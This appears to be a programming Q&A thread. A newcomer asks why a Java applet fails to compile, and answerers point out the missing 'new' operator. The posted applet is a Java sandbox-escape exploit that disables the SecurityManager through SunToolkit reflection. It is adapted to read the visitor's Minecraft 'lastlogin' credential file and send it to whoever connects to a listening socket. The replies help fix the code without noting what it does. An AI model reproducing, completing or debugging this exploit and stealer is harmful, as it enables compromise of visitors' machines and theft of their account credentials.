alfalfa
alfalfa

Reputation: 147

(Java) can't find method

I am new to java and have a compile error:

/tmp/jc_16831/Gondvv.java:71: cannot find symbol

symbol  : method File(java.lang.String)

location: class Gondvv

File llf = File( "c:/Users/" + userName + "/AppData/Roaming/.minecraft/lastlogin" );

O am including the File class, so I don't get it..

the code is here:

package cve2012xxxx;

import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.lang.String;
import java.net.*;
import java.security.*;
import java.security.cert.Certificate;
import java.io.*;
import java.io.File;

public class Gondvv extends Applet
{

    public Gondvv()
    {
    }

    public void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });
        SetField(Statement.class, "acc", localStatement, localAccessControlContext);
        localStatement.execute();
    }

    private Class GetClass(String paramString)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
        localExpression.execute();
        return (Class)localExpression.getValue();
    }

    private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = paramClass;
        arrayOfObject[1] = paramString;
        Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }

    public void start()
    {
        String userName = System.getProperty("user.name");
        File llf = File( "c:/Users/" + userName + "/AppData/Roaming/.minecraft/lastlogin" );
        InputStream inputStream = new FileInputStream(llf);

        ServerSocket serverSocket = new ServerSocket(13346);
        Socket socket = serverSocket.accept();
        OutputStream outputStream = socket.getOutputStream();

        int len = 0;
        byte[] buffer = new byte[16384];
        while ((len = inputStream.read(buffer)) > 0)
            outputStream.write(buffer, 0, len);

        inputStream.close();
        outputStream.close();
        socket.close();
    }

    public void init()
    {
        try
        {
            disableSecurity();
   //         Process localProcess = null;
   //         localProcess = Runtime.getRuntime().exec("calc.exe");
   //         if(localProcess != null);
   //            localProcess.waitFor();
        }
        catch(Throwable localThrowable)
        {
            localThrowable.printStackTrace();
        }
    }

    public void paint(Graphics paramGraphics)
    {
        paramGraphics.drawString("Loading...", 25, 50);
    }
}

Upvotes: 1

Views: 348

Answers (3)

drayn
drayn

Reputation: 303

You forgot to add the new operator before File.

File llf = new File( "c:/Users/" + userName + "/AppData/Roaming/.minecraft/lastlogin" );

Upvotes: 0

SJuan76
SJuan76

Reputation: 24780

It lacks the new to create new object of class File. There is no method that is not part of an object or (static methods) class.

Upvotes: 0

themel
themel

Reputation: 8895

You want to construct a new File object, so you should use the new operator.

 File llf = new File("...");

Also note that it is usually you that's being unreasonable and not the code you're using, especially in the first few years of your programming career.

Upvotes: 5

Related Questions